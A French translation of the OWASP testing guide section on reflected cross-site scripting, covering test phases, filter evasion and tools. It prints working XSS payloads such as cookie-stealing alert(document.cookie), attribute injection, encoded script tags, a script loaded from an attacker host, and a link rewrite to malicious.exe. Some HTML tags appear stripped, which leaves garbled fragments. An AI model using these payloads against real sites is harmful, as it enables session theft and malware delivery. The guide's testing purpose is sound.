4.8.1 Test de Reflected Cross-Site Scripting (OTG-INPVAL-001)

Sommaire
Les attaques Reflected Cross-site Scripting (XSS) ont lieu quand un attaquant injecte du code exécutable par le navigateur dans une seule réponse HTTP. L'attaque injectée n'est pas stockée par l'application elle-même ; elle est non-persistante et n'impacte que les utilisateurs qui ouvrent un lien malicieux ou une page web tierce. La chaîne d'attaque est incluse dans l'URI ou les paramètres HTTP, est mal interprêtée par l'application, puis renvoyée à la victime.

Les Reflected XSS sont le type d'attaques XSS que l'on trouve le plus fréquemment. Elles sont aussi connues sous le nom d'attaques non-persistantes, puisque la charge utile de l'attaque est envoyée et exécutée par une simple requête/réponse. Elles sont aussi appelées attaque XSS de premier ordre ou de type 1.

Quand une application est vulnérable à ce type d'attaque, elle va passer des entrées non-validées de requêtes à un client. Le modus operandi classique inclut une étape de design, lors de laquelle l'attaquant crée et teste une URI hostile, puis une étape d'ingénierie sociale lors de laquelle l'attaquant convainc ses victimes de charger cette URI dans leur navigateur, et enfin l'exécution du code par le navigateur de la victime.

Généralement le code de l'attaquant est écrit en JavaScript, mais d'autres langages peuvent être utilisés, par exemple ActionScript et VBScript. Les attaquants utilisent ces vulnérabilités pour installer des key loggers, voler les cookies des victimes, voler le contenu du presse-papier ou encore changer le contenu d'une page (par exemple les liens de téléchargement).

Une des principales difficultés pour prévenir les vulnérabilités XSS vient de l'encodage des caractères. Dans certains cas, les serveurs web ou les application web ne peuvent pas filtrer certains encodages, par exemple l'application web va filtrer " " mais peut-être pas %3cscript%3e, qui encode différemment les marqueurs.

Test en boite noire
Un test en boite noire va comprendre au moins trois phases :

1. Détecter les vecteurs d'entrée. Pour chaque page web, le testeur doit déterminer toutes les variables utilisateur définies par l'application et comment les entrer. Cela inclut les entrées cachées et non évidentes, comme les paramètres HTTP, les données POST, les champs cachés dans les formulaires, et les valeurs prédéfinies de radio et sélections. Typiquement, les éditeurs HTML des navigateurs ou des proxies web seront utilisés pour visualiser ces variables cachées. Voir les exemples ci-dessous.

2. Analyser chaque vecteur d'entrée pour détecter des vulnérabilités potentielles. Pour détecter une vulnérabilité XSS, le testeur utilise généralement des données d'entrée spécialement conçues pour chaque vecteur. De telles données d'entrée sont généralement inoffensives, mais déclenchent des réponses de la part du navigateur web qui mettent en évidence la vulnérabilité. Les données de test peuvent être générées grâce à un fuzzer d'application web, une liste prédéfinie de chaînes d'attaque automatisée ou manuellement. Quelques exemples d'attaques : alert(123) “> alert(document.cookie) Pour une liste complète des chaînes à tester, voir XSS Filter Evasion Cheat Sheet.

3. Pour chaque test de la phase précédente, le testeur va analyser le résultat et déterminer s'il représente une vulnérabilité ayant un impact réel sur la sécurité de l'application web. Cela implique d'examiner la page HTML résultante et d'y chercher l'entrée de test. Une fois trouvée, le testeur doit identifier les caractères spéciaux qui ne sont pas correctement encodés, remplacés ou filtrés. L'ensemble constitué par les caractères spéciaux non filtrés va dépendre du contexte de cette section HTML.

Idéalement, tous les caractères spéciaux HTML vont être remplacés par des entités HTML. Les plus importants à identifier sont : > (plus grand que) < (plus petit que) & (et commercial) ' (apostrophe or simple quote) " (guillemets ou double quote)

Cependant, une liste complète est donnée dans les spécifications HTML et XML. Wikipedia en donne une référence complète.

Dans un contexte d'action HTML ou de code JavaScript, un ensemble différent de caractères spéciaux doit être encodé, remplacé ou filtré. Cela inclut : \n (nouvelle ligne) \r (retour chariot) \' (apostrophe ou simple quote) \" (guillemets ou double quote) \\ (backslash) \uXXXX (valeurs unicode)

Pour une référence plus complète, voir le guide JavaScript de Mozilla. 

Exemple 1
Par exemple, considérons un site qui a une notice de bienvenue " Bienvenue %username% " et un lien de téléchargement. Le testeur doit soupçonner que chaque point d'entrée de données peut servir à une attaque XSS. Pour l'analyser, il va jouer avec la variable utilisateur et essayer de déclencher la vulnérabilité.

Cliquons sur le lien suivant et voyons ce qui se passe : http://example.com/index.php?user= alert(123)

Si aucun nettoyage n'est fait, la popup suivante va s'afficher : Cela indique qu'il y a une vulnérabilité XSS et que le testeur peut exécuter du code de son choix dans le navigateur de quiconque cliquera sur le lien du testeur.

Exemple 2
Essayons un autre morceau de code (link) : http://example.com/index.php?user= window.onload = function {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }

Cela produit le comportement suivant : L'utilisateur cliquant sur le lien fournit par le testeur va télécharger le fichier malicious.exe depuis le site sous contrôle.

Contourner les filtres XSS
La prévention des reflected cross-site scripting passe par la validation des entrées par l'application web, le blocage des entrées malicieuses par un firewall applicatif, ou par des mécanismes inclus dans les navigateurs modernes. Le testeur doit considérer que le navigateur n'empêchera pas l'attaque. Les navigateurs peuvent être obsolètes, ou avoir leurs fonctions de sécurité désactivées. De même, les firewalls applicatifs n'offrent aucune garantie pour les attaques nouvelles et inconnues. Un attaquant peut concevoir une chaîne d'attaque qui ne sera pas reconnue par le firewall applicatif.

Ainsi, la plus grande part de la prévention des XSS dépend de la validation des entrées utilisateur. Il y a divers mécanismes à disposition des développeurs, comme le renvoi d'erreur, la suppression, l'encodage ou le remplacement des entrées invalides. Les moyens par lesquels l'application détecte et corrige les entrées invalides sont aussi une des principales faiblesses pour la prévention des XSS. Une liste noire ne comprendra pas toutes les chaînes d'attaque possibles, une liste blanche peut être trop permissive, la correction pourrait échouer, ou une type d'entrée pourrait être incorrectement accepté et rester sans correction. Tout cela peut permettre aux attaquants de contourner les filtres XSS.

La XSS Filter Evasion Cheat Sheet documente les tests d'évasion.

Exemple 3: Valeur d'attribut de marqueur
Ces filtres sont basés sur une liste noire, ils ne peuvent donc pas bloquer tous les types d'expressions. En fait, il y a des cas où un exploit XSS peut être utilisé sans usage du marqueur et même sans les caractères comme " < > et / qui sont communément filtrés.

Par exemple, l'application web peut utiliser l'entrée utilisateur pour renseigner un attribut, comme montré ici : 

Alors un attaquant peut soumettre le code suivant ; " onfocus="alert(document.cookie)

Exemple 4: syntaxe ou encodage différent
Dans certains cas, il est possible que les filtres basés sur des signatures soient trompés en masquant une attaque, typiquement en insérant des variations inattendues dans la syntaxe ou l'encodage. Ces variations sont tolérées par les navigateurs comme du code HTML valide lorsqu'elles sont retournées, et pourtant elles sont aussi acceptées par le filtre.

Quelques exemples: "> alert(document.cookie)

">alert(document.cookie)

"%3cscript%3ealert(document.cookie)%3c/script%3e

Exemple 5: Contourner le filtrage non-récursif
Parfois, le nettoyage n'est appliqué qu'une fois, au lieu de l'être récursivement. Dans ce cas, l'attaquant peut vaincre le filtre en envoyant une chaîne contenant de multiples tentatives, telle que : alert(document.cookie)

Exemple 6: Inclure un script externe
Supposons maintenant que les développeurs du site cible ont implémenté le code suivant, pour protéger les entrées contre l'inclusion de script externe : <?  $re = "/]+src/i";

if (preg_match($re, $_GET['var'])) {     echo "Filtered"; return; }  echo "Welcome ".$_GET['var']." !"; ?>

Dans ce scénario, il y a une expression rationnelle qui vérifie si ' ] src est insérée. Cela fonctionne pour filtrer des expressions telles que 

qui est une attaque commune. Mais dans ce cas, il est possible de contourner la validation en utilisant le caractère ">" dans un attribut entre script et src, comme cela : http://example/?var="%20SRC="http://attacker/xss.js">

Cela va exploiter la faille cross-site scripting montrée plus haut, en exécutant le code JavaScript stocké sur le serveur web de l'attaquant, comme s'il venait du site web victime, http://example/.

Exemple 7: Pollution des paramètres HTTP (HPP)
La pollution de paramètres HTTP est une autre méthode de contournement des filtres. Cette technique a été présentée par Stefano di Paola et Luca Carettoni en 2009 à la conférence OWASP de Pologne. Pour plus d'informations : Testing for HTTP Parameter pollution. Cette technique d'évasion consiste en divisant un vecteur d'attaque en plusieurs paramètres de même nom. La manipulation de la valeur de chaque paramètre dépend de chaque technologue web utilisée pour les parser, ce type d'évasion n'est donc pas toujours possible. Si l'environnement testé concatène les valeurs de tous les paramètres de même nom, alors un attaquant peut utiliser cette technique pour contourner les mécanismes de sécurités basés sur la reconnaissance de motifs.

Attaque classique : http://example/page.php?param= [...] Attaque HPP: http://example/page.php?param=[...]

 Résultat attendu  Pour une liste plus détaillée des techniques d'évasion de filtrage : XSS Filter Evasion Cheat Sheet. L'analyse des réponses peut devenir complexe. Une méthode simple peut être d'utiliser du code qui génère un dialogue popup, comme dans notre exemple. Cela indique typiquement qu'un attaquant peut exécuter du code JavaScript arbitraire dans le navigateur des visiteurs.

Test en boite grise
Le teste en boite grise sera similaire au test en boite noire. En boite grise, le testeur un connaissance partielle de l'application. Dans ce cas, les informations concernant les entrées utilisateur, le contrôle des entrées, et la manière dont les entrées utilisateur sont renvoyées peuvent être connues par le testeur.

Si le code source est disponible (boite blanche), toutes les variables reçues des utilisateurs doivent être analysées. Le testeur doit en outre analyser toute les procédures de validation implémentées pour déterminer celles qui sont contournables.

Outils
CAL9000 est une collection d'outils de test de sécurité pour les application web qui complète les proxies et scanner automatiques. Il est disponible ici : http://yehg.net/lab/pr0js/pentest/CAL9000/. Cet outil permet d'encoder et de décoder des textes dans 65 types de caractères. Il fournit aussi quelques fonction d'encodage JavaScript. Cet outil fournit des douzaines d'encodages flexibles pour des manipulations avancées de chaînes d'attaques. WebScarab est un framework pour l'analyse d'applications HTTP/HTTPS. XSS-Proxy est un outil avancé d'attaque XSS Outil semi-automatisé, essentiellement passif d'audit de sécurité web. Il est optimisé pour une détection précise et une annotation automatique des problèmes potentiels, se basant sur des design patterns observés dans le trafic utilisateur des environnements web 2.0. Burp Proxy est un proxy HTTP/S interactif pour l'attaque et le test d'applications web. ZAP est un outil de test d'intrusion intégré pour trouver des vulnérabilités dans les applications web. Il est conçu pour être utilisé par des personnes ayant une large expérience en sécurité, et est donc idéal pour les développeurs et testeurs fonctionnels débutants en matière de tests d'intrusion. ZAP fournit des scanners automatiques aussi bien qu'un ensemble d'outils pour la recherche manuelle. OWASP Xenotix XSS Exploit Framework est un framework avancé de détection et exploitation de faille XSS. Il fournit des résultats sans faux positifs grâce à son scanner triple navigateur (Trident, WebKit, Gecko). Il prétend inclure la 2nde plus grand base de charges utiles XSS du monde, pour une détection et un contournement des WAF efficaces. Son moteur de script permet de créer des cas de tests spécifiques et des ajouts via son API. Il inclut un module de reconnaissance très riche en fonctionnalités. Le framework d'exploitation inclut des modules XSS offsensifs pour les tests d'intrusion et la création de preuves de concept.
 * OWASP CAL9000
 * PHP Charset Encoder(PCE) - http://h4k.in/encoding [mirror: http://yehg.net/e ]
 * HackVertor - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
 * WebScarab
 * XSS-Proxy - http://xss-proxy.sourceforge.net/
 * ratproxy - http://code.google.com/p/ratproxy/
 * Burp Proxy - http://portswigger.net/proxy/
 * OWASP Zed Attack Proxy (ZAP) - OWASP_Zed_Attack_Proxy_Project
 * OWASP Xenotix XSS Exploit Framework - OWASP_Xenotix_XSS_Exploit_Framework